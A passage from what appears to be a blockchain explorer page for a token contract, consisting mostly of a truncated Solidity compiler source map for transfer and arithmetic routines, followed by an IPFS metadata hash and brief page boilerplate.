:18;;;5344:62;-1:-1:-1;;;5422:18:1;;;5415:35;5467:19;;11511:70:0;5091:401:1;11511:70:0;-1:-1:-1;;;;;11600:23:0;;11592:71;;;;-1:-1:-1;;;11592:71:0;;5699:2:1;11592:71:0;;;5681:21:1;5738:2;5718:18;;;5711:30;5777:34;5757:18;;;5750:62;-1:-1:-1;;;5828:18:1;;;5821:33;5871:19;;11592:71:0;5497:399:1;11592:71:0;11674:3;;-1:-1:-1;;;;;11674:3:0;11670:596;;-1:-1:-1;;;;;11723:17:0;;11699:21;11723:17;;;;;;;;;;;11754:23;;;;11746:74;;;;-1:-1:-1;;;11746:74:0;;6103:2:1;11746:74:0;;;6085:21:1;6142:2;6122:18;;;6115:30;6181:34;6161:18;;;6154:62;-1:-1:-1;;;6232:18:1;;;6225:36;6278:19;;11746:74:0;5901:402:1;11746:74:0;-1:-1:-1;;;;;11843:17:0;;;:9;:17;;;;;;;;;;;11863:22;;;11843:42;;11897:20;;;;;;;;:30;;11879:6;;11843:9;11897:30;;11879:6;;11897:30;:::i;:::-;;;;-1:-1:-1;11670:596:0;;-1:-1:-1;;11670:596:0;;11966:3;;12005:18;;-1:-1:-1;;;12005:18:0;;-1:-1:-1;;;;;6472:32:1;;;12005:18:0;;;6454:51:1;11966:3:0;;;;11945:10;;11966:3;;12005:10;;6427:18:1;;12005::0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:43;;;-1:-1:-1;12027:21:0;;-1:-1:-1;;;12027:21:0;;-1:-1:-1;;;;;6472:32:1;;;12027:21:0;;;6454:51:1;12027:10:0;;;;;6427:18:1;;12027:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12004:71;;12069:6;12004:71;;;12052:14;:6;12063:2;12052:10;:14::i;:::-;11985:90;;12101:71;12123:6;12101:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12101:17:0;;:9;:17;;;;;;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;12081:17:0;;;:9;:17;;;;;;;;;;;:91;;;;12210:20;;;;;;;:36;;12235:10;12210:24;:36::i;:::-;-1:-1:-1;;;;;12187:20:0;;:9;:20;;;;;;;;;;:59;-1:-1:-1;;11670:596:0;12300:9;-1:-1:-1;;;;;12283:35:0;12292:6;-1:-1:-1;;;;;12283:35:0;;12311:6;12283:35;;;;1582:25:1;;1570:2;1555:18;;1436:177;6291:132:0;6349:7;6376:39;6380:1;6383;6376:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;6369:46;6291:132;-1:-1:-1;;;6291:132:0:o;4888:193::-;4974:7;5010:12;5002:6;;;;4994:29;;;;-1:-1:-1;;;4994:29:0;;;;;;;;:::i;:::-;-1:-1:-1;5034:9:0;5046:5;5050:1;5046;:5;:::i;:::-;5034:17;4888:193;-1:-1:-1;;;;;4888:193:0:o;3982:182::-;4040:7;;4072:5;4076:1;4072;:5;:::i;:::-;4060:17;;4101:1;4096;:6;;4088:46;;;;-1:-1:-1;;;4088:46:0;;7130:2:1;4088:46:0;;;7112:21:1;7169:2;7149:18;;;7142:30;7208:29;7188:18;;;7181:57;7255:18;;4088:46:0;6928:351:1;6920:279:0;7006:7;7041:12;7034:5;7026:28;;;;-1:-1:-1;;;7026:28:0;;;;;;;;:::i;:::-;-1:-1:-1;7065:9:0;7077:5;7081:1;7077;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1245:186::-;1304:6;1357:2;1345:9;1336:7;1332:23;1328:32;1325:52;;;1373:1;1370;1363:12;1325:52;1396:29;1415:9;1396:29;:::i;1618:328::-;1695:6;1703;1711;1764:2;1752:9;1743:7;1739:23;1735:32;1732:52;;;1780:1;1777;1770:12;1732:52;1803:29;1822:9;1803:29;:::i;:::-;1793:39;;1851:38;1885:2;1874:9;1870:18;1851:38;:::i;:::-;1841:48;;1936:2;1925:9;1921:18;1908:32;1898:42;;1618:328;;;;;:::o;2140:260::-;2208:6;2216;2269:2;2257:9;2248:7;2244:23;2240:32;2237:52;;;2285:1;2282;2275:12;2237:52;2308:29;2327:9;2308:29;:::i;:::-;2298:39;;2356:38;2390:2;2379:9;2375:18;2356:38;:::i;:::-;2346:48;;2140:260;;;;;:::o;2405:380::-;2484:1;2480:12;;;;2527;;;2548:61;;2602:4;2594:6;2590:17;2580:27;;2548:61;2655:2;2647:6;2644:14;2624:18;2621:38;2618:161;;2701:10;2696:3;2692:20;2689:1;2682:31;2736:4;2733:1;2726:15;2764:4;2761:1;2754:15;2618:161;;2405:380;;;:::o;3612:127::-;3673:10;3668:3;3664:20;3661:1;3654:31;3704:4;3701:1;3694:15;3728:4;3725:1;3718:15;3744:128;3784:3;3815:1;3811:6;3808:1;3805:13;3802:39;;;3821:18;;:::i;:::-;-1:-1:-1;3857:9:1;;3744:128::o;6516:277::-;6583:6;6636:2;6624:9;6615:7;6611:23;6607:32;6604:52;;;6652:1;6649;6642:12;6604:52;6684:9;6678:16;6737:5;6730:13;6723:21;6716:5;6713:32;6703:60;;6759:1;6756;6749:12;6798:125;6838:4;6866:1;6863;6860:8;6857:34;;;6871:18;;:::i;:::-;-1:-1:-1;6908:9:1;;6798:125::o;7284:217::-;7324:1;7350;7340:132;;7394:10;7389:3;7385:20;7382:1;7375:31;7429:4;7426:1;7419:15;7457:4;7454:1;7447:15;7340:132;-1:-1:-1;7486:9:1;;7284:217::o

Swarm Source

ipfs://6bd3bd8f158ceb52d257388456e56c4f119376b6ae5bc751291511a686731f02
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.